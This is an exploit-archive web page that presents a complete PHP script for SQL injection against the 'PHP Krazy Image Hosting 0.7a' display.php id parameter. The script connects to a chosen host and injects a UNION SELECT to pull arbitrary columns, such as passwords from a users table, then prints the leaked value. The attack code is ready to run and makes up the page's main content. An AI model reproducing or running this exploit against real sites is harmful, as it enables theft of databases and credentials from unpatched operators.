SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow ExploitAlert Database

Arrow  Topic :

PHP Krazy Image Hosting 0.7a (display.php) SQL Injection Exploit


Arrow  ExploitAlert : 1255
Arrow  Credit : Trex
Arrow  Date : 01.10.2006

Arrow   Download

Arrow   Plain text version


Arrow  Exploit Code :  

<?
/*****************************************************************
|* PHP Krazy Image Host Script (id) Remote SQL Injection Exploit *|
|* Discovered by: Trex *|
|* Solution: http://www.trex-online.net/fixes/display.rar *|
|* Visit: Trex-Online.net / UnderGround.ag *|
*****************************************************************/

error_reporting(0);

echo "# PHP Krazy Image Host Script (id) Remote SQL Injection Exploitn";
echo "# Discovered by: Trexn";
echo "# Solution: http://www.trex-online.net/fixes/display.rarn";
echo "# Visit: Trex-Online.net / UnderGround.agnn";
echo "# Usage: $ php " . $_SERVER['PHP_SELF'] . " [URL] [PATH] [SELECT]
[FROM] [WHERE]n";
echo "# Example: $ php " . $_SERVER['PHP_SELF'] . " http://localhost
/images/ password users userID=1nn";

if (!$_SERVER['argv'][5])
die();

$url = parse_url($_SERVER['argv'][1] . $_SERVER['argv'][2]);

$sql = "UNION+SELECT+1,1,1,1," . $_SERVER['argv'][3] . ",1,1,1+FROM+" .
$_SERVER['argv'][4] . "+WHERE+" . $_SERVER['argv'][5] . "/*";

echo "Connecting to " . $url['host'] . ":80 ... ";

if (!$fsp = fsockopen($url['host'], 80, $errno, $errstr, $timeout))
die("failed.nReason: " . $errno . " - " . $errstr);

echo "done.nn";

$request = "HEAD " . $url['path'] . "display.php?id=0+" . $sql . "
HTTP/1.1rn";
$request .= "Host: " . $url['host'] . "rn";
$request .= "Connection: Closernrn";

fputs($fsp, $request);

while (!feof($fsp)) {
$response = fgets($fsp, 4096);
$response = explode(":", $response, 2);

if (count($response) == 2 && preg_match("/Content-Type/", $response[0]))
$result = $response[1];
}

if (preg_match("/text/html/", $result))
echo "Exploit failed!";
else
echo "Result: " . $result;
?>





Arrow  Feedback :

If you have additional information or notice any errors regarding this exploit, please use contact form or email us at exploit()securityreason()com.
Alert

libc/fnmatch(3) DoS

Security Risk Medium- 2011-05-13

Allow attacker to denial of service apache 2.2.17 server

Apache RSS Apache Alert

» Apache HTTP Server Denial
   of Service Vulnerability

» Multiple Vendors
   libc/fnmatch(3) DoS (incl
   apache poc)

» Apache Continuum
   cross-site scripting
   vulnerability

» Apache Tomcat DoS
   Vulnerability

PHP RSS PHP Alert

» PHP Hashtables Denial of
   Service

» PHP 5.3.6 multiple null
   pointer dereference

» PHP 5.3.6 ZipArchive
   invalid use glob(3)

» libzip 0.9.3
   _zip_name_locate NULL
   Pointer Dereference (incl
   PHP 5.3.5)

ADT

Protect your family and valuables with Home Security Systems

Copyright © SecurityReason.com. All Rights Reserved.